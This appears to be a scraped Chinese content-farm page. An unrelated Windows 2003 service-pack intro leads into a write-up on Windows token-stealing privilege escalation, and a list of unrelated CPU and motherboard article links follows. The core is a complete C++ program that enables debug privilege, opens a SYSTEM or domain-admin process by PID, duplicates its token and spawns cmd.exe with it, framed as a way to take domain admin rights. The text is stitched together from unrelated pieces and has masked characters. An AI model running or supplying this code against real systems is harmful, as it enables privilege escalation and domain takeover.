前沿拓展：
windows 2003 sp
sp=ServicePack，服務(wù)包的意思，其實(shí)就是補(bǔ)丁的**，一次安裝，之前的 那些系統(tǒng)補(bǔ)丁
SYSTEM->本機(jī)上其他用戶（包括域用戶）(好家伙，只要本機(jī)有system權(quán)限，域管敢在本機(jī)上創(chuàng)建進(jìn)程就直接能拿到域管權(quán)限） 或者admin獲取debug權(quán)限后去獲取SYSTEM權(quán)限（這里有一個(gè)細(xì)節(jié)點(diǎn)，只有owner為administrator的SYSTEM進(jìn)程才能被利用，比如lsass，dllhost)
技術(shù)細(xì)節(jié):通過尋找高權(quán)限開啟的進(jìn)程，再**其令牌用以創(chuàng)建新進(jìn)程，即可達(dá)到提權(quán)目的
#include <iostream>
#include <Windows.h>
//Only administrator can get debug priv
BOOL GetDebugPriv() {
HANDLE Token;
TOKEN_PRIVILEGES tp;
LUID Luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token)) {
std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
return false;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) {
std::cout << "LookupPrivilegeValue ERROR" << GetLastError() << std::endl;
return false;
}
tp.Privileges[0].Luid = Luid;
if (!AdjustTokenPrivileges(Token, FALSE, &tp, sizeof(tp), NULL, NULL) ){
std::cout << "AdjustTokenPrivileges ERROR" << GetLastError() << std::endl;
return false;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
return false;
}
else {
return true;
}
}
int main(int argc, char* argv[]) {
HANDLE t_process;
HANDLE token = NULL;
HANDLE token_bak = NULL;
DWORD process_id;
sscanf_s(argv[1], "%ul", &process_id);
WCHAR command[] = L"C:\Windows\System32\cmd.exe";
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
std::cout << argv[1] << std::endl;
std::cout << "Openning process PID:" << process_id << std::endl;
if (GetDebugPriv()== TRUE) {
std::cout << "Got the debug priv" << std::endl;
}
else {
std::cout << "GetDebugPriv ERROR" << std::endl;
}
system("whoami /priv");
t_process = OpenProcess(PROCESS_ALL_ACCESS, true, process_id);
if (!t_process) {
std::cout << "OpenProcess ERROR" << GetLastError() << std::endl;
}
if (!OpenProcessToken(t_process, TOKEN_ALL_ACCESS, &token)) {
std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
}
if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &token_bak)) {
std::cout << "DuplicateTokenEx ERROR" << GetLastError() << std::endl;
}
if (!CreateProcessWithTokenW(token_bak, LOGON_WITH_PROFILE, NULL, command, 0, NULL, NULL, &startupInfo, &processInformation)) {
std::cout << "CreateProcessWithTokenW ERROR" << GetLastError() << std::endl;
}
return 0;
}
這是在win7下的測(cè)試結(jié)果 constadministrator 是域控
拓展知識(shí)：
原創(chuàng)文章，作者：九賢生活小編，如若轉(zhuǎn)載，請(qǐng)注明出處：http://m.xiesong.cn/5422.html
相關(guān)推薦
-
i76700k核心顯卡(i76700k能帶動(dòng)什么顯卡)
簡(jiǎn)述i7 6700k核心顯卡 i7 6700k是英特爾在2015年第二季度推出的一款處理器，它是第6代酷睿i7系列處理器中的一員。該處理器采用14nm制程工藝，擁有4個(gè)物理核心和8…
-
860k安裝到主板(860K配什么主板)
860k安裝到主板(860K配什么主板) 老鐵們好啊，今天小編給大家分享下我們?cè)谑褂秒娔X和筆記本電腦過程中會(huì)遇到的一些問題故障該如何處理，還有電腦顯卡硬件和筆記本硬件的知識(shí) 介紹A…
-
i77700k1060配什么主板
性能搭配需求 對(duì)于想要搭配i7 7700K和GTX 1060的玩家來說，主板的選擇至關(guān)重要。這個(gè)配備表明了其玩家不僅是追求電腦運(yùn)行速度和游戲幀數(shù)的極致表現(xiàn)，也是追求了經(jīng)濟(jì)和成本的平…
-
華碩b85m-g配什么機(jī)箱(華碩b460m配什么機(jī)箱)
華碩B85M-G搭配機(jī)箱的選擇 華碩B85M-G是一款主流的**ATX主板，它支持Intel第四代酷睿處理器和DDR3內(nèi)存，并擁有多種擴(kuò)展接口，如PCI-E 3.0和U** 3.0…
-
kb3189866(kb2966826)
前沿拓展： kb3189866 如果更新之前不卡的話可以試試卸載KB3189866來自這個(gè)更新第二用win10更新隱藏工具隱藏掉KB3189866這個(gè)更新看看。 原文鏈接：http…
-
因特爾至強(qiáng)x5570怎么樣，探究因特爾至強(qiáng)x5570的表現(xiàn)與性能
至強(qiáng)x5570的主要技術(shù)參數(shù)有哪些？ 至強(qiáng)x5570是一顆四核心、八線程的處理器，主頻為2.93GHz，共有8MB二級(jí)緩存，采用45nm工藝。 至強(qiáng)x5570的功耗如何？ 其TDP…
-
速龍ii x4 860k怎么樣，速龍iix4860k的性能表現(xiàn)
速龍iix4860k主頻是多少？ 速龍iix4860k的主頻為3.7GHz，最大睿頻可達(dá)4GHz。 速龍iix4860k的核心架構(gòu)是什么？ 速龍iix4860k的核心架構(gòu)是Stea…
-
exchange賬戶密碼(exchange賬戶密碼不正確蘋果11)
前沿拓展： exchange賬戶密碼 客戶端一般不會(huì)有權(quán)限改密碼的。 大家好，我是寒冰，給大家分享一個(gè)Exchange 郵件巡檢模板，在Exchange 運(yùn)維項(xiàng)目中，我自己的一個(gè)模…
-
Windows10在登錄界面隱藏小號(hào)賬戶的**作方法
Windows10在登錄界面隱藏小號(hào)賬戶的**作方法Windows10在登錄界面隱藏小號(hào)賬戶的**作方法 大家在日常的生活和工作中，由于某些特殊的需求，都會(huì)建立一個(gè)小號(hào)吧？不管…
-
i74790k主機(jī)配置
介紹i7 4790k主機(jī)配置 i7 4790k是一款經(jīng)典的Intel處理器，被許多電腦游戲愛好者所青睞。它被稱為性能達(dá)標(biāo)的CPU，并且在市場(chǎng)上有著廣泛的應(yīng)用范圍。i7 4790k的…